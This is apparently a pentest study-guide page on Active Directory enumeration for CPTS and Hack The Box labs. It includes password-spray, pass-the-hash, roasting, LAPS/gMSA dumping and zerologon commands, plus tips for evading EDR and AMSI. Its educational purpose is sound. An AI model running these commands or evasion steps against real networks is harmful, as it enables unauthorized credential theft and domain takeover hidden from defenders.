For share inventory at scale (rather than content), PowerHuntShares auto-discovers shares across the domain and scores them by risk — a good middle ground between raw --shares and a full Snaffler run:

Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -NoPing -OutputDirectory .\shares -Threads 20

🧭 AD Methodology & Host-Based Enumeration (the engagement arc)

Everything in this stage is one iterative loop, not a linear checklist. The module’s own arc: passive external recon → active internal discovery → get one identity → credentialed enumeration → attack → and every new credential drops me back into enumeration with a bigger authenticated view. 4.1–4.5 are the tools; this is the order I actually think in, and what to run once I’m not on the wire anymore but standing on a Windows host. Deep dives: 1 - Introduction, Methodology & External Recon · 2 - Initial Enumeration of the Domain.

[!note] The whole point of enumeration I don’t enumerate to fill a report — I enumerate to answer one question: what does my current level of access unlock that my last level didn’t? Log the answer (host, cred, edge, timestamp) the moment I find it, because that log is the attack path and the report evidence.

The credential-state ladder — “where am I, what mints the next cred?”

Four states. Each one has a different toolset and a different way to climb. I always know which rung I’m on:

RungI have…Enumerate withWhat mints the next cred
0 · No creds on the wirea network position only4.1 null/guest SMB+LDAP, --rid-brute, Kerbrute userenum, anon LDAP namingContextsResponder/LLMNR poison → NetNTLMv2 → crack (Stage LLMNR); pre2k; or a spray hit
1 · Cracked/sprayed low-priv userone valid $U:$P4.2 validate everywhere → 4.3 vacuum SMB+LDAP → 4.5 BloodHoundspray that pw across the userlist; roast; read description/info; ACL edge
2 · Credentialed + graphedvalidated cred + BloodHound graphthe spray→enum loop below; 4.4 LDAP tooling; LAPS/gMSA readsan owned edge (Stage 6), a roast crack (Stage 5), a share cred (Stage 8)
3 · SYSTEM on a domain-joined hosta shell as NT AUTHORITY\SYSTEMhost-based / living-off-the-land recon (below)the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data

[!tip] SYSTEM on a member server ≈ a domain user Once I hit NT AUTHORITY\SYSTEM on any domain-joined box (Stage 9 privesc got me there), the host’s machine account can query the directory exactly like a user cred — so I run every host-based query below without needing a user’s password. Grab it: nxc smb $IP -u "$U" -p "$P" showing Pwn3d!, or a SeImpersonate → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → mssql$sqlexpress → SYSTEM → local SAM/LSA → first domain cred hporter (6 - Post-Exploitation Persistence & Internal Enumeration).

Host-based recon — living off the land (from a Windows foothold)

What to look for: the domain, its groups, trusts, SPNs, delegation and where my token is already local admin — using only binaries already on the box. This is the fallback baseline when the host is a locked-down managed workstation/VDI: no internet, file transfer blocked, AppLocker + Defender in blocking mode. Native tooling introduces zero new attack surface and is rarely flagged. Full walk: 9 - Living Off the Land.

Enumerate — situational awareness first (run on every fresh shell, Win or Nix):

whoami /all                         # my SID, groups, privileges (SeImpersonate? SeBackup?)
Get-ChildItem Env: | ft key,value
Get-ExecutionPolicy -List
netsh advfirewall show allprofiles
Get-MpComputerStatus                # is Defender real-time on / blocking?
qwinsta                             # other interactive sessions = creds to steal
arp -a ; route print                # what other subnets does this host see? (pivot candidates)

Enumerate — net.exe / dsquery / CIM (always present, no module drop):

net accounts /domain                                     :: password + lockout policy (spray safely)
net group /domain                                        :: all domain groups
net group "Domain Admins" /domain                        :: DA membership
net localgroup administrators                            :: local admins on THIS box
net user /domain <user>                                  :: full attrs for one user
net view /domain  &  net group "Domain Computers" /domain

:: dsquery = raw LDAP filters with zero external tooling (RSAT / DC only)
dsquery user  &  dsquery computer
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"   :: enabled users only
dsquery * "CN=Users,DC=<dom>,DC=<tld>" -scope subtree
setspn.exe -T $DOMAIN -Q */*                             :: native SPN discovery → hand off to Stage 5 roast
# wmic is deprecated (gone in Win11 24H2+/recent Server) — use CIM
Get-CimInstance -ClassName Win32_QuickFixEngineering     # installed patches → missing-KB triage
Get-CimInstance -ClassName Win32_UserAccount

Enumerate — native AD PowerShell module (RSAT, no binary dropped):

Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName   # kerberoastable, no PowerView
Get-ADTrust -Filter *                                    # trusts to other domains/forests
Get-ADGroupMember -Identity "Backup Operators"           # dangerous groups

Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):

[!tools] Stage this — PowerView + SharpView PowerView.ps1 (SHA-256 · GPG signature) SharpView.exe (SHA-256 · GPG signature) Sources: PowerSploit PowerView (Recon/PowerView.ps1) and SharpView — a C# port of PowerView with the same cmdlet names/args. When AMSI/Defender signatures block the .ps1 import, the .exe variant (or execute-assembly in-memory) usually still lands.

Import-Module .\PowerView.ps1
Get-Domain ; Get-DomainController ; Get-DomainPolicy
Get-DomainUser -Identity $U -Domain $DOMAIN | select samaccountname,memberof,description,info
Get-DomainUser -Properties samaccountname,description,info | ? {$_.description -or $_.info}   # creds hide here
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname       # kerberoastable
Get-DomainUser -PreauthNotRequired                                        # AS-REP roastable
Get-DomainComputer -Unconstrained ; Get-DomainUser -TrustedToAuth         # delegation
Get-DomainTrustMapping                                                    # walk EVERY reachable trust (cross-forest)
Find-DomainShare -CheckShareAccess                                        # shares my token can read
Find-LocalAdminAccess ; Test-AdminAccess -ComputerName <host>             # where am I already local admin (quiet)
# SharpView = the .NET port when AMSI/Defender is tuned to PowerView's PS signatures:
.\SharpView.exe Get-DomainUser -Identity $U

PowerView one-liner reference — the dozen that answer 90% of questions:

QuestionOne-liner
Where am I?Get-Domain ; Get-DomainController
Password/lockout policyGet-DomainPolicy | select -ExpandProperty SystemAccess
Kerberoastable usersGet-DomainUser -SPN
AS-REP roastable usersGet-DomainUser -PreauthNotRequired
Creds in description/infoGet-DomainUser -Properties description,info | ? {$_.description -or $_.info}
DA membership (nested)Get-DomainGroupMember "Domain Admins" -Recurse
Unconstrained delegationGet-DomainComputer -Unconstrained
Constrained delegationGet-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth
Where is <user> logged on?Find-DomainUserLocation -UserName <user>
Where am I local admin?Find-LocalAdminAccess
Readable sharesFind-DomainShare -CheckShareAccess
All trusts, walkedGet-DomainTrustMapping
ACLs on a target objectGet-DomainObjectAcl -Identity <target> -ResolveGUIDs
GPOs touching a host/OUGet-DomainGPO -ComputerIdentity <host>

[!warning] Watch out

  • net.exe recon, PowerView.ps1 and Snaffler.exe are all signatured — EDR flags them specifically because of their recon history. On a Defender-blocking host: use dsquery / native net / the AD module for the same data, and prefer execute-assembly (in-memory) over dropping SharpView.exe/SharpHound.exe. See 9 - Living Off the Land.
  • PowerView’s description / info hunt is the same gold as the LDAP one in 4.4 — plaintext passwords live in those attributes constantly. Always pull both.
  • GPP cpassword in SYSVOL (findstr /S /I cpassword \\$DOMAIN\SYSVOL\*.xml) is host-readable by any domain user — but the decrypt + full method lives in Stage 8, don’t re-run it here.

SharpHound from the host — collection-method picker

4.5 already has the base .\SharpHound.exe -c All / -c DCOnly / -c Session --Loop invocations and the CE-vs-legacy trap. What matters on a host is which methods to run and how loud each is — pick per objective, don’t reflexively -c All:

ObjectiveCollection methodNoise
Fast, LDAP-only first pass-c DCOnlyquiet — no host touches
Full graph incl. local admin + sessions-c Allloud — SMB to every computer
Just who’s admin where-c LocalAdmin,RDP,DCOM,PSRemotemedium
Session hunting for a priv account-c Session --Loop --Loopduration 02:00:00medium, over time
ACLs / group / trusts only-c ACL,Group,Trusts,ObjectProps,Containerquiet-ish
# scope + stealth knobs worth knowing (base command + CE/legacy notes are in 4.5)
.\SharpHound.exe -c DCOnly --stealth --zipfilename dconly           # least-touch recon pass
.\SharpHound.exe -c All --ldapfilter "(samaccountname=svc*)"        # narrow the LDAP query
.\SharpHound.exe -c All --excludedcs                                # skip DC enumeration if it's tripping alarms

[!note] The rung-3 payoff for SharpHound Run -c Session/-c All after I’m SYSTEM/local-admin somewhere — that’s when session and local-group edges actually populate, and those are the edges BloodHound turns into lateral movement. A DCOnly graph collected at rung 1 has no session data. Collector cheat: SharpHound_Cheatsheet.

The credentialed spray → enumerate loop

What to look for: password reuse. One working cred is a seed, not an endpoint — I spray it (or one seasonal password) across the whole validated userlist, and every fresh hit is a new context to re-enumerate (new group memberships, new readable shares, new ACL edges, maybe a ReadLAPS/ReadGMSA right). 4.3 has the base nxc spray line; the loop discipline and the safety math are the net-new here. Full method: 5 - Password Spraying & Password Policies.

Enumerate — prune the target list before spraying:

# badPwdCount tells me who's already near lockout — exclude them or I do the client's DoS for them
nxc smb $DC -u "$U" -p "$P" --users            # shows badPwdCount per user
# pull the policy FIRST (unauth or cred'd) — lockout threshold + observation window set my rate
nxc smb $DC -u "$U" -p "$P" --pass-pol

Attack — spray, then loop:

# 1) spray one password across the pruned list (respect the policy, --continue-on-success, jitter)
nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 | grep '[+]'

# 2) local-admin password/hash REUSE across the subnet — --local-auth is MANDATORY
#    (a domain logon here would lock the real domain Administrator; --local-auth hits the SAM account)
nxc smb $IP/23 -u administrator -H "$HASH" --local-auth | grep 'Pwn3d!'

# 3) for each NEW hit -> jump straight back to 4.2/4.3/4.5 as that user:
#    nxc smb/ldap/winrm validate  ->  vacuum users/groups/shares  ->  BloodHound mark-owned -> re-path to DA
# From a Windows foothold: DomainPasswordSpray is domain-aware — auto-builds the userlist from AD,
# reads the REAL lockout policy, and drops any account within one attempt of locking.
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits -ErrorAction SilentlyContinue

[!warning] Watch out — spraying is where engagements go wrong userenum never locks; spraying does. Pull --pass-pol first, stay a comfortable margin under the lockout threshold per observation window, and log every account/password/DC/timestamp. On a lockout threshold of 5 / 30-min window: one attempt per account per ~40 min with a safety buffer, never a tight loop. --local-auth is non-negotiable for local-admin reuse — forget it and you lock the domain Administrator domain-wide.

Attacking Enterprise Networks — the full engagement arc (capstone recap)

The capstone stitches all 27 modules into one continuous network, and it’s the mental map for how this whole playbook fits together. A phase is a question, not a tool — intel gathering asks what exists, vuln analysis asks which weakness is plausible, exploitation asks can I prove it with minimal impact, post-ex asks what does that access reach. The arc, mapped to this guide’s stages:

External OSINT ─► Web/Service foothold ─► Pivot into internal ─► Internal + AD enum ─► Lateral/AD compromise ─► Pillage ─► Report
  (Stage 1-2)          (Stage 2-3)          (Stage 10)            (THIS Stage 4)         (Stage 5-7,9)         (Stage 8)   (evidence)
PTES phasePractical questionThis guide
Intelligence gatheringwhat assets/identities exist?Stage 1 recon, 4.1 unauth enum
Vulnerability analysiswhich condition yields access?4.3–4.5 credentialed enum + BloodHound
Exploitationprove one boundary crossingStages 5–7 (Kerberos, ACL, ADCS), 9 privesc
Post-exploitationwhat does this reach?host-based recon (above), Stage 10 lateral/pivot
Reportingwhy did the chain work, how to fixevidence log, findings-vs-chain

[!tip] The Rolodex mindset Real engagements force constant switching — web → network → AD → privesc → pillage → pivot → back to enum. When stuck, I don’t tool-spam: I return to scope → what I can see → what I can’t see → next lowest-noise action. A single finding is one failed control; an attack path chains findings across time (exposed app → RCE → dual-homed host → domain cred → ACL abuse → replication rights) and that chain is what carries the business-impact severity. Track creds/hosts/edges in one place (BloodHound graph + a notes table). Capstone driver’s-seat method: 1 - Intro to Attacking Enterprise Networks · toolkit index AD_Pentest_Tools_Cheat_Sheet · share-loot automation Snaffler.


🔎 Raw LDAP Query Cookbook (filters that find the win)

BloodHound is the map, but a raw LDAP filter finds a specific win in one query — and works when you can’t run a collector. The key is the bitwise matching-rule OID on userAccountControl. Deep dives: Active Directory LDAP - Cheatsheet · LDAP Search.

Matching-rule OIDs

1.2.840.113556.1.4.803   BIT_AND    single-flag test (bitwise AND)   ← the one you use
1.2.840.113556.1.4.804   BIT_OR     any-flag test
1.2.840.113556.1.4.1941  IN_CHAIN   walk nested group ancestry

UAC flag values (plug into ...803:=<value>): PASSWD_NOTREQD 32 · TRUSTED_FOR_DELEGATION 524288 (unconstrained) · DONT_EXPIRE_PASSWORD 65536 · DONT_REQ_PREAUTH 4194304 (AS-REP-roastable) · DCs 8192.

The high-value filters (-b = base DN DC=domain,DC=htb)

B="dc=${DOMAIN%%.*},dc=${DOMAIN#*.}"
# AS-REP roastable (no preauth)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName
# Kerberoastable (has SPN, not a machine)
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(&(servicePrincipalName=*)(!(objectClass=computer)))' sAMAccountName servicePrincipalName
# Unconstrained delegation  |  Constrained (has AllowedToDelegateTo)
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo
# Password-not-required  |  adminCount=1 (protected/priv)  |  passwords hidden in description
ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=32)' sAMAccountName
ldapsearch ... '(adminCount=1)' sAMAccountName
ldapsearch ... '(&(objectCategory=user)(description=*))' sAMAccountName description
# MachineAccountQuota (can I add a computer for RBCD?)  |  nested membership of a DN
ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" -s base ms-DS-MachineAccountQuota
ldapsearch ... '(member:1.2.840.113556.1.4.1941:=<userDN>)' sAMAccountName

Same results via the modern all-rounders

nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt --asreproast asrep.txt
nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation --password-not-required
windapsearch.py --dc-ip $IP -d "$DOMAIN" -u "$DOMAIN\\$U" -p "$P" --da --unconstrained-users
ldapsearch-ad.py -l $IP -d "$DOMAIN" -u "$U" -p "$P" -t kerberoast   # also -t asreproast / pass-pols / info

[!tip] Escaping in filters: *→\2a (→\28 )→\29 \→\5c. On a Windows foothold the PowerShell equivalent is Get-ADObject -LDAPFilter '(...)' (same OID syntax) or Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}. From a non-domain Linux box you can still drive PowerShell tooling with runas /netonly.

[!note] Trusts found? Different stage A (objectClass=trustedDomain) hit or Get-ADTrust -Filter * result means the enumeration surface just doubled — but cross-forest attacks (SID filtering, trust tickets, raiseChild.py) are their own discipline: 14 - Domain Trusts and Cross-Forest. Here I only record the trust (direction, type, transitivity) and keep enumerating the local domain.


✅ Stage-04 quick-wins checklist (run in order, every new identity)

#CheckCommandIf it hits
1Anon LDAP / null SMBnxc smb $IP -u '' -p '' --users --sharesfree user list / share loot
2RID brutenxc smb $IP -u '' -p '' --rid-brutefull user list
3AS-REP roast (no creds)GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IPcrack → Stage 05
4pre2k machine accountsnxc ldap $DC -u '' -p '' -M pre2kfree machine cred
5Password policynxc smb $IP -u "$U" -p "$P" --pass-polsets spray math
6Descriptions/info fieldsnxc ldap $DC -u "$U" -p "$P" -M get-desc-usersfree creds
7Kerberoast sweepnxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txtcrack → Stage 05
8LAPS readnxc ldap $DC -u "$U" -p "$P" -M lapslocal admin
9gMSA readpython3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DCservice NT hash
10Shares + content--shares → -M spider_plus → Snafflercred files → Stage 08
11BloodHound collectbloodhound-ce-python -c All --zipthe path map
12DC one-shot CVEsnxc smb $DC -M zerologon / -M nopacinstant DA

[!tip] CPTS reality check On exam boxes the intended path is almost always visible after items 1–11 — the box author planted one of: a description-field password, a roastable account, a share with creds, a LAPS/gMSA read, or a single ACL edge. If none of the 12 hit, the missing piece is almost always a cred I already have but haven’t re-enumerated as (go back to the doctrine in 4.2).


🛡️ OPSEC & detection — what the blue team sees

[!danger] Enumeration is the loudest phase — assume every query is logged

Signal I generateDetection / Event IDMitigation
Mass LDAP queries (PowerView -SPN, full dumps)Event 1644 (expensive/inefficient LDAP query logging, when enabled); ATA/MDI “reconnaissance” alertsQuery surgically; one filter per question; avoid (objectClass=*) full dumps; throttle
kerbrute userenumBurst of 4768 AS-REQs (success+failure) from one sourceSmall curated lists, low threads, jitter
Password spray4771 failures clustered in the observation window; 4625 via NTLM pathStay under threshold; --jitter; log my own attempts
SharpHound -c AllSMB/RPC fan-out to every host; session-enum signatures; EDR flags collector binary by hash/nameDCOnly first; rename binary; execute-assembly; --stealth
SnafflerMassive SMB file-read volume; honey-share touchesScope -i; verify shares aren’t bait
Honeypot accountsA too-perfect svc_backup with a weak password + adminCount=1 that never logs on = tripwire; any auth attempt alertsCross-check lastLogon/pwdLastSet before using “free” creds; a roastable account with an ancient password and no logons is bait until proven otherwise

Rules of thumb: enumerate with the least privilege and fewest protocols that answer the question; prefer one good LDAP filter over ten scans; and keep my own timestamps — if the client calls about an alert, I want to answer “yes, that was me, 14:03–14:11 UTC” in one breath.


[!navigation] Continue the attack flow Previous: Stage 03 — Service Enumeration

Dashboard: HTB Pentest Attack Flow

Next: Stage 05 — Kerberos Attacks

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.